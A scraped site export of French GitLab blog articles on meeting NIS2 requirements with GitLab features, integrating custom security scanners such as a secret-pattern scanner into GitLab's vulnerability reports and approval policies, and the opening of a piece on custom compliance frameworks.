peuvent être exploitées pour répondre aux exigences que les États membres définiront dans le cadre de cette section.\n\n**Section 2(e) : la sécurité de l’acquisition, du développement et de la maintenance des réseaux et des systèmes d’information, y compris le traitement et la divulgation des vulnérabilités.**\n\nEn tant que plateforme DevSecOps complète, les fonctionnalités de GitLab aident à sécuriser l'ensemble du cycle de livraison de logiciels de nos clients.\n\n- Les [outils de planification](https://about.gitlab.com/features/?stage=plan) de GitLab peuvent soutenir vos efforts de gestion de projet et assurer que la sécurité de l'information est correctement prise en compte à chaque phase du cycle de vie d'un projet. Pour en savoir plus, consultez l'article [ISO 27001: comment GitLab vous assiste dans votre démarche de conformité.](https://about.gitlab.com/fr-fr/blog/how-gitlab-can-support-your-iso-compliance-journey/#organizational-controls).\n\n- Grâce à des fonctionnalités telles que les [branches protégées](https://docs.gitlab.com/ee/user/project/protected_branches.html), les [approbations de merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/), les [règles en matière de push](https://docs.gitlab.com/ee/push_rules/push_rules.html) et les [validations signées](https://docs.gitlab.com/ee/user/project/repository/signed_commits/), l'[étape de création](https://about.gitlab.com/features/?stage=create) de GitLab propose une base sécurisée capable d'évoluer en fonction des besoins des développeurs au fur et à mesure de leur création de code sécurisé.\n\n![Validations signées](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674396/Blog/Content%20Images/Screenshot_2024-08-20_at_10.34.24.png)\n\n- Les fonctionnalités de l'[étape de sécurisation](https://about.gitlab.com/features/?stage=verify) de GitLab évoquées plus haut apportent une valeur basée sur la sécurité aux étapes [de vérification](https://about.gitlab.com/features/?stage=verify), [d'empaquetage](https://about.gitlab.com/features/?stage=package) et [de déploiement](https://about.gitlab.com/features/?stage=deploy) de GitLab. Ces étapes comprennent des fonctionnalités d'[intégration et de livraison continues](https://about.gitlab.com/fr-fr/solutions/continuous-integration/), telles que les [pipelines de merge request](https://docs.gitlab.com/ee/ci/pipelines/merge_request_pipelines.html) et les [runners protégés](https://docs.gitlab.com/ee/ci/runners/#prevent-runners-from-revealing-sensitive-information), ainsi que plusieurs registres d'artefacts pour répondre aux besoins de votre entreprise.\n\n- L'[étape de surveillance](https://about.gitlab.com/features/?stage=monitor) de GitLab offre des fonctionnalités telles que les [alertes](https://docs.gitlab.com/ee/operations/incident_management/alerts.html) et les [incidents](https://docs.gitlab.com/ee/operations/incident_management/incidents.html) permettant aux entreprises de prendre connaissance des incidents et d'en suivre la progression depuis notre plateforme jusqu’à leur remédiation. \n\n- Les fonctionnalités de l'[étape de gouvernance](https://about.gitlab.com/fr-fr/solutions/security-compliance/) de GitLab établissent des normes quant à l'utilisation d’une instance de GitLab et à ses modalités. Elles soutiennent également les efforts globaux de conformité d'une entreprise.\n  - Des fonctionnalités telles que le [SCIM](https://docs.gitlab.com/ee/administration/settings/scim_setup.html), le [SSO](https://docs.gitlab.com/ee/user/group/saml_sso/) et [les rôles personnalisés](https://docs.gitlab.com/ee/user/custom_roles.html) prennent efficacement en charge les cycles de vie d'authentification et d'autorisation.\n  - Les [stratégies d'approbation des merge requests](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) constituent un outil puissant qui intègre une barrière de sécurité dans votre cycle de développement logiciel. À l'aide des stratégies d'approbation des merge requests, il est possible d'exiger des approbations supplémentaires pour des événements. Par exemple, lorsque des vulnérabilités sont détectées après un commit, lorsque certains types de licences sont détectés dans des dépendances ou lorsqu'une merge request est effectuée sur une branche protégée spécifique. Les stratégies d'approbation des merge requests sont incluses dans l'abonnement à GitLab Ultimate.\n  - Avec [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/), les entreprises peuvent tirer parti de la fonctionnalité d'[explication des vulnérabilités](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/index.html#explaining-a-vulnerability) pour : résumer une vulnérabilité, aider les développeurs et les analystes de sécurité à comprendre la vulnérabilité, comment elle pourrait être exploitée et comment la corriger, ou encore suggérer des mesures d’atténuation. \n\n  - Les [événements d'audit en streaming](https://docs.gitlab.com/ee/user/compliance/audit_event_streaming.html) permettent aux entreprises d'envoyer des événements d'audit de leur groupe principal vers un emplacement externe afin de recevoir tous les événements se rapportant au groupe, aux sous-groupes et aux projets. Les événements d'audit en streaming sont disponibles avec un abonnement GitLab Ultimate.\n  - Un programme complet de lutte contre les menaces internes combine plusieurs niveaux de contrôles de détection, de prévention et de réaction. La [limitation des requêtes pour la gestion des abus de Git](https://docs.gitlab.com/ee/user/group/reporting/git_abuse_rate_limit.html) avertit automatiquement les administrateurs lorsqu'un utilisateur télécharge, clone, effectue un pull, récupère ou duplique un nombre de dépôts supérieur à une certaine limite au cours d'une période donnée. Les entreprises peuvent aller plus loin et activer le bannissement automatique pour bannir l'utilisateur fautif du groupe et de ses sous-groupes. La limitation des requêtes pour la gestion des abus de Git est proposée dans l'abonnement GitLab Ultimate.\n  - Pour approfondir les vulnérabilités détectées, le [rapport de vulnérabilités](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) de GitLab fournit des informations sur les vulnérabilités issues des scans de la branche par défaut. Les rapports de vulnérabilité sont disponibles avec un abonnement GitLab Ultimate.\n\n![Rapport de vulnérabilité](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674396/Blog/Content%20Images/Screenshot_2024-08-20_at_10.32.02.png)\n\n**Section 2(j) : l’utilisation de solutions d’authentification à plusieurs facteurs ou d’authentification continue, de communications vocales, vidéo et textuelles sécurisées et de systèmes sécurisés de communication d’urgence au sein de l’entité, selon les besoins.**\n\nGitLab offre plusieurs options d'authentification à plusieurs facteurs pour renforcer le processus d'authentification. Les clients peuvent sélectionner l'[option d'authentification multifacteur](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html) qui répond à leurs exigences, ou encore mettre en œuvre le [SSO](https://docs.gitlab.com/ee/user/group/saml_sso/) pour améliorer davantage le processus d'authentification.\n\n## Quelles sont les prochaines étapes ?\n\nLa plateforme de GitLab est bien placée pour répondre aux exigences du cycle du développement logiciel au fur et à mesure de la mise en place des directives générales qui seront émises par les États membres en réponse à la directive NIS2.\n\nPour en savoir plus sur les fonctionnalités décrites tout au long de cet article, consultez notre bibliothèque de [tutoriels](https://docs.gitlab.com/ee/tutorials/).\n\n> [Essayez GitLab Ultimate gratuitement](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial).\n",[753,9,703],{"slug":921,"featured":90,"template":689},"how-gitlab-helps-meet-nis2-requirements","content:fr-fr:blog:how-gitlab-helps-meet-nis2-requirements.yml","How Gitlab Helps Meet Nis2 Requirements","fr-fr/blog/how-gitlab-helps-meet-nis2-requirements.yml","fr-fr/blog/how-gitlab-helps-meet-nis2-requirements",{"_path":927,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":928,"content":934,"config":941,"_id":943,"_type":13,"title":944,"_source":15,"_file":945,"_stem":946,"_extension":18},"/fr-fr/blog/how-to-integrate-custom-security-scanners-into-gitlab",{"title":929,"description":930,"ogTitle":929,"ogDescription":930,"noIndex":6,"ogImage":931,"ogUrl":932,"ogSiteName":673,"ogType":674,"canonicalUrls":932,"schema":933},"Comment intégrer vos propres scanners de sécurité dans GitLab","Découvrez comment enrichir votre usage de la plateforme DevSecOps en ajoutant des scanners de sécurité personnalisés à vos workflows.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097082/Blog/Hero%20Images/Blog/Hero%20Images/securitycheck_securitycheck.png_1750097081856.png","https://about.gitlab.com/blog/how-to-integrate-custom-security-scanners-into-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comment intégrer vos propres scanners de sécurité dans GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2024-02-27\",\n      }",{"title":929,"description":930,"authors":935,"heroImage":931,"date":936,"body":937,"category":9,"tags":938,"updatedDate":940},[749],"2024-02-27","GitLab, la plateforme DevSecOps la plus complète, dispose de toutes les fonctionnalités nécessaires pour planifier, gérer, compiler, déployer, sécuriser, gouverner et surveiller vos applications. Vous pouvez toutefois utiliser en complément des outils tiers ou personnalisés, par exemple si vous devez migrer vers une plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ? \") à partir de solutions distinctes, évaluer des outils tiers ou intégrer des solutions propriétaires ou personnalisées dans GitLab.\n\n## Extensibilité de la plateforme DevSecOps de GitLab\n\nLa plateforme DevSecOps de GitLab peut être enrichie de nombreuses façons afin de prendre en charge les fonctionnalités améliorées dont votre entreprise a besoin. \n\nVoici quelques exemples d'intégrations courants :\n\n- Intégrations d'applications externes, telles que Jenkins et Slack\n- Intégrations de systèmes externes de gestion des tickets, tels que Bugzilla et Jira\n- Intégrations de fournisseurs d'authentification externes, tels que LDAP et SAML\n- Intégrations de scanners de sécurité externes, tels que Fortify et Checkmarx\n- Détection et gestion de secrets exposés, tels que les clés d'accès AWS et GCP\n\nConsultez notre [documentation](https://docs.gitlab.com/ee/integration/) pour connaître toutes les intégrations disponibles (liste non exhaustive). \n\n## Intégration de scanners de sécurité dans GitLab\n\nIl est possible d'intégrer des [scanners de sécurité tiers](https://docs.gitlab.com/ee/integration/#security-improvements) ou des [scanners de sécurité personnalisés](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration) dans GitLab. Ces scanners peuvent ainsi alimenter plusieurs sections clés de l'interface GitLab, telles que le widget de sécurité des merges requests, la section Sécurité des pipelines, le rapport de vulnérabilités, les pages de vulnérabilités, le tableau de bord de sécurité ainsi que les politiques d'approbation des merge requests. \n\nPassons en revue chacune de ces intégrations.\n\n### Widget de sécurité des merge requests\n\nUne merge request contient un widget de sécurité qui affiche un résumé des vulnérabilités récemment détectées.\n\n![intégration de scanners de sécurité - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097088837.png)\n\n\u003Ccenter>\u003Ci>Widget de sécurité des merge requests\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nLorsque vous cliquez sur une vulnérabilité, la fenêtre contextuelle qui s'affiche contient les informations suivantes :\n- Statut\n- Description\n- Projet\n- Fichier\n- Identifiants\n- Gravité\n- Outil\n- Fournisseur du scanner\n\n![intégration de scanners de sécurité - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097088838.png)\n\n\u003Ccenter>\u003Ci>Vulnérabilités exploitables et détails associés\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\nCes vulnérabilités sont également exploitables, ce qui signifie qu'elles peuvent être rejetées ou qu'un ticket confidentiel peut être créé.\n\nLes résultats d'un scanner personnalisé peuvent être utilisés pour alimenter le widget de sécurité. Les données de vulnérabilité sont renseignées à partir du schéma JSON généré par le scanner.\n\n### Section Sécurité des pipelines\n\nTous les scanners de sécurité activés s'exécutent dans le pipeline et génèrent leurs résultats sous forme d'artefacts qui font l'objet d'un traitement (déduplication incluse). Les résultats sont ensuite répertoriés dans l'onglet Sécurité des pipelines. À partir de là, vous pouvez également télécharger les fichiers JSON générés.\n\n![intégration de scanners de sécurité - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750097088840.png)\n\n\u003Ccenter>\u003Ci>Onglet Sécurité des pipelines\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nLes résultats d'un scanner personnalisé peuvent être utilisés pour alimenter l'onglet Sécurité des pipelines. Les colonnes sont remplies à l'aide du schéma JSON émis par le scanner.\n\n### Rapport de vulnérabilités\n\nLe rapport de vulnérabilités fournit des informations sur les vulnérabilités issues des scans de la branche par défaut, notamment :\n\n- Le nombre total de vulnérabilités par niveau de gravité\n- Les filtres d'attributs de vulnérabilité courants\n- Les détails de chaque vulnérabilité, présentés sous forme de tableau\n\n![intégration de scanners de sécurité - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097088842.png)\n\n\u003Ccenter>\u003Ci>Rapport de vulnérabilités\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nLes résultats d'un scanner personnalisé sur la branche par défaut peuvent être utilisés pour alimenter le rapport de vulnérabilités.\n\n### Pages de vulnérabilités\n\nEn cliquant sur une vulnérabilité présente dans le rapport de vulnérabilités, vous accédez à une page dédiée comprenant les informations suivantes : \n\n- sa description\n- la date de détection\n- son statut actuel\n- son emplacement  \n- les actions disponibles pour y remédier\n- les tickets liés à cette vulnérabilité\n- le log des actions effectuées sur cette vulnérabilité\n- les solutions proposées\n- un identifiant \n- des ressources de formation pour prévenir ce type de faille\n\nVous pouvez utiliser les données fournies dans la page de vulnérabilité pour évaluer l’importance du problème et prendre les mesures nécessaires pour corriger la vulnérabilité efficacement.\n\n![intégration de scanners de sécurité - image 5](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097088844.png)\n\n\u003Ccenter>\u003Ci>Page de vulnérabilité pour une faille relative à la détection des secrets\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nLes résultats d'un scanner personnalisé peuvent être utilisés pour alimenter la page de vulnérabilité. Les données de vulnérabilité sont renseignées à partir du schéma JSON généré par le scanner.\n\n### Tableau de bord de sécurité\n\nLes tableaux de bord de sécurité permettent d'évaluer la posture de sécurité de vos applications. GitLab vous fournit un ensemble d'indicateurs, d'évaluations et de graphiques correspondant aux vulnérabilités détectées par les scanners de sécurité exécutés sur votre projet. Le tableau de bord de sécurité fournit différentes données, notamment :\n\n- Les tendances des vulnérabilités sur une période de 30, 60 ou 90 jours pour tous les projets d'un groupe\n- Une note sous forme de lettre pour chaque projet en fonction de la gravité de la vulnérabilité\n- Le nombre total de vulnérabilités détectées au cours des 365 derniers jours et leurs niveaux de gravité\n\n![intégration de scanners de sécurité - image 6](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097088846.png)\n\n\u003Ccenter>\u003Ci>Tableau de bord de sécurité au niveau du groupe\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nÀ partir du tableau de bord de sécurité au niveau du groupe, vous pouvez cliquer sur un projet pour accéder au tableau de bord de sécurité associé, qui fournit une vue sur 365 jours.\n\n![intégration de scanners de sécurité - image 7](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097088847.png)\n\n\u003Ccenter>\u003Ci>Tableau de bord de sécurité au niveau du projet\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n### Intégration des politiques d'approbation des merge requests \n\nLes politiques d'approbation des merge requests, anciennement désignées comme stratégies de sécurité basées sur les résultats de scan dans les versions précédentes de GitLab, sont utilisées pour exiger une approbation en fonction des résultats d'un ou de plusieurs jobs de scan de sécurité. L'objectif est d'éviter que du code non sécurisé ne soit fusionné et déployé en production. Ces politiques sont évaluées après l'exécution complète des jobs de scan dans les pipelines CI, en s'appuyant sur les rapports générés par les artefacts de job et publiés dans le pipeline une fois celui-ci terminé.\n\nPar exemple, vous pouvez créer une politique d'approbation des merge requests qui exige l'approbation des chargés de maintenance du projet dans le cas où le scanner de détection de secrets détecte des vulnérabilités. Voici comment procéder :\n\n1. Dans la barre latérale gauche, cliquez sur **Rechercher ou accéder à** et recherchez le projet auquel vous souhaitez ajouter une politique.\n\n2. Dans la barre latérale gauche du projet, accédez à **Sécurisation > Politiques**\n\n3. Sélectionnez **Nouvelle stratégie de sécurité**\n\n4. Dans la section **Politiques d'approbation des merge requests**, sélectionnez **Sélectionner une stratégie de sécurité**.\n\n5. Renseignez les champs suivants :\n- Nom : le nom de la politique d'approbation\n- Description : la description de la politique d'approbation\n- État : indique si la politique d'approbation est activée ou non\n- Règles : les conditions qui doivent être remplies pour déclencher une action (comme exiger une approbation)\n\n![intégration de scanners de sécurité - image 8](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097088849.png)\n\u003Ccenter>\u003Ci>Règles de la politique d'approbation des merge requests\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n- Actions : l'action à entreprendre chaque fois que les conditions définies dans les règles (vulnérabilités/licences détectées) sont remplies\n\n![intégration de scanners de sécurité - image 9](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750097088850.png)\n\n\u003Ccenter>\u003Ci>Actions associées à la politique d'approbation des merge requests\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n- Remplacer les paramètres d'approbation du projet : si cette option est sélectionnée, les choix suivants écraseront les paramètres du projet, mais uniquement pour les branches spécifiées dans la politique d'approbation des merges requests.\n\n![intégration de scanners de sécurité - image 11](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097088851.png)\n\n \u003Ccenter>\u003Ci>Paramètres d'approbation de la politique d'approbation des merge requests\u003C/i>\u003C/center>\n \u003Cp>\u003C/p>\n\n6. Cliquez sur le bouton **Configurer avec une merge request**.\n\nUne fois que la politique d'approbation des merge requests a été fusionnée, chaque fois que vous créez une merge request et que les critères définis dans les règles sont remplis, l'action définie est déclenchée. Dans ce cas, au moins une approbation de la part d'un chargé de maintenance sera requise avant que le code puisse être fusionné.\n\n![scanner de sécurité intégré - image 10](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750097088852.png)\n\n\u003Ccenter>\u003Ci>Merge request bloquée en raison de vulnérabilités détectées\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nLes résultats d'un scanner personnalisé peuvent être entièrement intégrés aux politiques d'approbation des merge requests. Si le scanner personnalisé détecte une vulnérabilité, une approbation sera alors requise avant que le code puisse être fusionné. Le scanner que vous sélectionnez dans une telle politique doit utiliser le schéma JSON approprié.\n\n## Tutoriel : intégration de scanners de sécurité personnalisés\n\nPassons maintenant à la partie la plus intéressante : l'intégration d'un scanner de sécurité personnalisé. Dans ce tutoriel, vous apprendrez à créer un scanner de sécurité personnalisé, ainsi qu'à l'intégrer à GitLab. Nous nous appuierons sur les projets suivants :\n\n- [Fern Pattern Scanner](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration/fern-pattern-scanner) : analyse vos fichiers à la recherche de motifs spécifiques tels que les mots de passe, les clés privées et les numéros de sécurité sociale.\n- [Secret List](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration/secret-list) : contient une liste répertoriant des mots de passe d'utilisateurs et de clients, et des clés. Ce projet sert à démontrer comment un scanner de sécurité personnalisé peut être intégré à GitLab.\n\nPour en savoir plus, consultez la vidéo suivante : \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/timMbl5SP-w?si=R2DKtZ5MmBR1rQFL\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Création d'un scanner de sécurité personnalisé\n\nCréons maintenant un scanner personnalisé qui peut être intégré à GitLab. Avant qu'un scanner personnalisé puisse être entièrement intégré à GitLab, il doit respecter les conditions suivantes :\n- scanner un répertoire à la recherche de motifs définis\n- générer un fichier JSON conforme au schéma approprié\n- être conteneurisé et accessible depuis GitLab\n- fournir un template autorisant son exécution sur un autre projet\n\nLorsque le [Fern Pattern Scanner](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration/fern-pattern-scanner) est exécuté sur un projet à l'aide du template fourni, il effectue les étapes suivantes :\n1. Il charge un ensemble de règles qui définissent les motifs (regex) à détecter.\n- Il permet la configuration des règles afin de s'adapter aux besoins en constante évolution de votre entreprise.\n2. Il scanne les fichiers à la recherche des motifs définis.\n3. Il génère un rapport JSON conforme au schéma de détection des secrets.\n- Il utilise des templates Go pour créer ce fichier JSON.\n- Veillez à utiliser le schéma adéquate, selon les éléments que votre scanner doit rechercher.\n\nUne fois le rapport JSON chargé en tant qu'artefact dans GitLab, il alimente le widget de sécurité des merges requests, le rapport de vulnérabilités, les pages de vulnérabilités, les politiques d'approbation des merge requests ainsi que les tableaux de bord de sécurité, comme décrit précédemment.\n\n### Intégration d'un scanner de sécurité personnalisé à GitLab\n\nUne fois que vous avez créé votre scanner personnalisé qui répond à tous les besoins d'intégration, vous pouvez l'exécuter sur GitLab.\n\nExécuter un scanner personnalisé est aussi simple que d'ajouter un template. Par exemple, le template Fern Pattern Scanner est chargé dans le fichier `.gitlab-ci.yml` sur le projet [Secret List](https://gitlab.com/gitlab-da/tutorials/security-and-governance/custom-scanner-integration/secret-list).\n\nVoici les étapes à suivre :\n\n1. Créez un [fichier .gitlab-ci.yml](https://docs.gitlab.com/ee/ci/quick_start/#create-a-gitlab-ciyml-file) dans le projet sur lequel vous souhaitez exécuter le scanner.\n\n2. Incluez le [template du scanner personnalisé](https://docs.gitlab.com/ee/ci/yaml/includes.html).\n    - Vous pouvez également configurer ce template avec des variables d'environnement.\n\n3. Validez ce fichier dans la branche principale.\n\nUne fois le fichier validé, vous pouvez constater que le scanner personnalisé s'exécute dans votre pipeline. Une fois le pipeline terminé, le scanner alimentera toutes les zones définies ci-dessus dans la section [Intégration de scanners de sécurité dans GitLab](#gitlab-security-scanner-integration).\n\nPour en savoir plus, consultez les ressources ci-dessous et les autres possibilités d'extension de votre plateforme DevSecOps :\n\n- [Intégration du scanner de sécurité dans GitLab](https://docs.gitlab.com/ee/development/integrations/secure.html)\n- [Intégrations des partenaires GitLab](https://docs.gitlab.com/ee/integration/)\n- [Groupe de projets du scanner de sécurité personnalisé](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration)\n- [Réponse automatique à une fuite de secret](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html)\n",[731,9,939,753],"testing","2025-06-09",{"slug":942,"featured":90,"template":689},"how-to-integrate-custom-security-scanners-into-gitlab","content:fr-fr:blog:how-to-integrate-custom-security-scanners-into-gitlab.yml","How To Integrate Custom Security Scanners Into Gitlab","fr-fr/blog/how-to-integrate-custom-security-scanners-into-gitlab.yml","fr-fr/blog/how-to-integrate-custom-security-scanners-into-gitlab",{"_path":948,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":949,"content":955,"config":961,"_id":963,"_type":13,"title":964,"_source":15,"_file":965,"_stem":966,"_extension":18},"/fr-fr/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops",{"ogTitle":950,"schema":951,"ogImage":952,"ogDescription":953,"ogSiteName":673,"noIndex":6,"ogType":674,"ogUrl":954,"title":950,"canonicalUrls":954,"description":953},"Intégrez la conformité à vos workflows DevSecOps avec GitLab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Frameworks de conformité personnalisés de GitLab : intégrez la conformité à vos workflows DevSecOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2025-04-30\",\n      }\n                  ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097104/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%284%29_3LZkiDjHLjhqEkvOvBsVKp_1750097104092.png","Découvrez comment les frameworks de conformité personnalisés de GitLab transforment vos exigences réglementaires en composants intégrés et automatisés dans vos workflows.\n","https://about.gitlab.com/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops",{"title":950,"description":956,"authors":957,"heroImage":952,"date":958,"body":959,"category":9,"tags":960},"Découvrez comment les frameworks de conformité personnalisés de GitLab transforment vos exigences réglementaires en composants intégrés et automatisés dans vos workflows.",[749],"2025-04-30","La conformité n'est plus une formalité, mais un vecteur stratégique : elle aide à maîtriser les risques opérationnels, renforce la confiance des clients et améliore la performance globale. Pourtant, trouver l'équilibre entre exigences de conformité et vélocité peut s'avérer particulièrement complexe pour les équipes de développement logiciel. Les [frameworks de conformité personnalisés](https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/) de GitLab apportent une réponse concrète à cette problématique en intégrant la vérification de la conformité directement dans vos workflows de développement. \n\nDécouvrez dans cet article tout ce que vous devez savoir sur les frameworks de conformité personnalisés de GitLab et comment les utiliser de façon optimale.\n\n## Qu’est-ce qu’un framework de conformité personnalisé ?\n\nLes frameworks de conformité personnalisés de GitLab vous permettent de définir, d'appliquer et de faire respecter vos propres normes de conformité directement dans votre instance GitLab. GitLab propose déjà des fonctionnalités de conformité « prêtes à l’emploi », mais chaque entreprise a ses propres obligations. Avec les frameworks personnalisés, vous pouvez donc définir vos propres stratégies de conformité en fonction de réglementations spécifiques, de vos politiques internes ou des normes de votre secteur.\n\nCes frameworks offrent les principaux avantages suivants : \n\n* Réduction significative du suivi manuel  \n* Accélération de la préparation aux audits  \n* Intégration native des contrôles de conformité\n\n![Capture d'écran du centre de conformité avec les frameworks répertoriés](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097114254.png)\n\nGitLab propose à ce jour plus de 50 contrôles préconfigurés, modifiables, que vous pouvez activer selon vos besoins. Ils couvrent un large éventail de réglementations, comme la loi HIPAA dans le domaine de la santé, le RGPD pour la protection des données, la [norme SOC 2](https://about.gitlab.com/fr-fr/the-source/security/how-gitlab-can-help-you-prepare-for-your-soc-2-exam/ \"Norme SOC 2\") relative aux prestataires de services et bien d'autres réglementations propres à des secteurs d'activité spécifiques. En voici quelques exemples :\n\n* Séparation des tâches : au moins deux approbateurs requis, y compris l'auteur de la merge request  \n* Scanners de sécurité : scans [SAST](https://docs.gitlab.com/user/application_security/sast/) et [analyse des dépendances](https://docs.gitlab.com/user/application_security/dependency_scanning/) exécutés automatiquement  \n* Authentification/autorisation : visibilité du projet définie sur privé et authentification unique (SSO) activée  \n* Configuration de l'application : vérification obligatoire des statuts de conformité et utilisation de fichiers de configuration Terraform exigée\n\nEn outre, vous pouvez étendre les capacités de conformité de GitLab en configurant vos propres contrôles sur des environnements externes à l'aide de l'API GitLab.\n\n## Comment créer un framework de conformité personnalisé dans GitLab ?\n\nMaintenant que nous avons clarifié l’importance des frameworks de conformité personnalisés, voyons comment les mettre en œuvre dans votre environnement GitLab, en utilisant l'application de démonstration reprise dans la vidéo ci-dessous. \n\n**Remarque :** un abonnement [GitLab Ultimate](https://about.gitlab.com/fr-fr/pricing/ultimate/ \"Qu'est-ce que GitLab Ultimate ?\") est requis.\n\n\u003C!-- TODO: EMBED_YT_VIDEO -->\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/bSwwv5XeMdQ?si=unDwCltF4vTHT4mB\" title=\"Adhering to compliance requirements with built-in compliance controls\n\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n**Étape 1 : définissez vos exigences de conformité**\n\nAvant de créer votre framework de conformité personnalisé, vous devez définir clairement vos exigences en la matière :\n\n1. **Identifiez les réglementations applicables :** déterminez les obligations légales et normes qui s'appliquent à votre entreprise (par exemple, le RGPD, la norme PCI DSS ou la loi HIPAA). \n2. **Associez les exigences à des contrôles :** décomposez chaque exigence réglementaire identifiée en contrôles spécifiques et exploitables.  \n3. **Hiérarchisez les exigences :** concentrez vos efforts sur les domaines à haut risque et les exigences à fort impact.\n\n**Étape 2 : créez votre framework de conformité personnalisé dans GitLab**\n\nVoici comment procéder :\n\n1. Accédez à la section **Sécurisation > Centre de conformité** de votre groupe GitLab.  \n2. Cliquez sur le bouton **Nouveau framework**.  \n3. Sélectionnez **Créer un framework vide**.\n\n![Écran de création d'un framework de conformité personnalisé](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097114255.png)\n\n4. Renseignez son nom, sa description et choisissez sa couleur.\n\n![Écran Nouveau framework de conformité](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097114257.png)\n\n5. Ajoutez des exigences :\\\n   a. Accédez à l'onglet **Exigences**.\n\n   b. Cliquez sur le bouton **Nouvelle exigence**.\n\n   c. Fournissez un nom et une description.\\\n   d. Dans la section **Contrôles**, sélectionnez **Choisir un contrôle GitLab**.\\\n   e. Sélectionnez un contrôle dans la liste (par exemple, au moins deux approbations, l'exécution de scans SAST).\\\n   f. Cliquez ensuite sur le bouton **Créer une exigence**.\n\n![Bouton Créer une exigence](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097114258.png)\n\n6. Cliquez sur le bouton **Créer un framework**.\n\nUne fois créé, ce framework pourra être appliqué à vos projets selon les paramètres définis. Par ailleurs, GitLab permet également d'importer des frameworks de conformité au format JSON, selon le schéma prévu.\n\n**Étape 3 : appliquez le framework à vos projets**\n\nUne fois votre framework de conformité créé, suivez les étapes ci-dessous pour l’appliquer à un ou plusieurs projets :\n\n1. Accédez au **Centre de conformité** de GitLab, puis sélectionnez l'onglet **Projets**.  \n2. Utilisez la barre de recherche pour **Rechercher** ou **Filtrer** les projets 